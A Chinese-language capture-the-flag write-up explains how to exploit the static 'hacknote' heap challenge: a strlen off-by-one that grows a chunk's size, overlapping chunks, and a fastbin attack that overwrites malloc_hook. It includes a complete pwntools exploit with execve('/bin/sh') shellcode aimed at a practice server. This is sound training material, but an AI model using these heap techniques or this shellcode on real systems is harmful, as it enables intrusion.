前置知识
静态编译
:我们平时见到的题目是含有libc
的,也就是动态链接库,而静态链接是编译时将所有用到的函数都放进来了。- 静态编译难以调试和定位,考验逆向功底
fastbin attack
整体思路
由于本题目是静态编译的,因此没有libc
。而本题保护全关,因此malloc_hook
、free_hook
等地址都是固定的,可以直接打。
首先通过ida
的shift+f12
的字符串来定位函数,然后按下x
寻找用到了这个函数的地方,由此可以定位出菜单,并找到main
函数。main
函数中猜测函数的功能并慢慢逆向,按下n
更改函数名,完成后大致如下,为一个常规菜单题:
完成逆向后,观察edit
函数,发现其逻辑是输入完成后通过strlen
来获取长度,并将长度赋值给size
。
而strlen
是通过\x00
截断的,因此我们只需要构造4个chunk
,申请的大小分别为0x18, 0x30, 0x30, 0x20
(不加header
大小),然后edit
第一个chunk
,由于第二个chunk
的size
算一个字节,因此strlen
获得的长度为0x19
,接下来edit
第一个chunk
的时候便可以任意控制第二个chunk
的大小。
那么控制第二个chunk
的size
为第二个和第三个加起来的大小,释放第二个再申请,第二个chunk
便包括第二个chunk
和第三个chunk
。释放第三个chunk
,便可以由edit
第二个chunk
进行fastbin attack
。
最后错位打malloc_hook
,将malloc_hook
写为malloc_hook + 8
的地址,然后在malloc_hook + 8
写shellcode
。
exp
from pwn import *
from LibcSearcher import *
filename = './huxiangbei_2019_hacknote'
context(log_level='debug', arch='amd64')
local = 0
elf = ELF(filename)
# libc = ELF('')
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', 29159)
def debug():
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = '4. Exit\n-----------------\n'
menu_add = 1
add_index_words = ''
add_size_words = 'Input the Size:\n'
add_content_words = 'Input the Note:\n'
menu_del = 2
del_index_words = 'Input the Index of Note:\n'
menu_show = 3
show_index_words = 'Idx: '
menu_edit = 3
edit_index_words = 'Input the Index of Note:\n'
edit_size_words = ''
edit_content_words = 'Input the Note:\n'
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
success('{} => {}'.format(name, hex(addr)))
add(size=0x18, content=b'a'*0x18) # 0
add(size=0x30, content=b'a'*0x30) # 1
add(size=0x30, content=b'a'*0x30) # 2
add(size=0x20, content=b'a'*0x20) # 3
edit(index=0, content=b'a'*0x18)
# 现在chunk1的size随便edit
payload = b'a'*0x18 + b'\x81'
edit(index=0, content=payload)
delete(index=1)
add(size=0x70, content=b'a\n')
delete(index=2)
free_hook = 0x6CD5E8
malloc_hook = 0x6CB788
# fake_chunk = 0x6cb77a
fake_chunk = 0x6cb772
payload = b'a'*0x30 + p64(0) + p64(0x41) + p64(fake_chunk) + b'\n'
edit(index=1, content=payload)
add(size=0x30, content='a\n')
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05\x00\x00\x00\x00\x00\x00'
# shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload = b'a'*6 + p64(malloc_hook + 8) + shellcode
add(size=0x30, content=payload + b'\n')
# add(size=0x30, content='aaa\n')
sh.sendlineafter(choice_words, '1')
sh.sendlineafter(edit_size_words, str(0x30))
sh.interactive()
# debug()
参考文献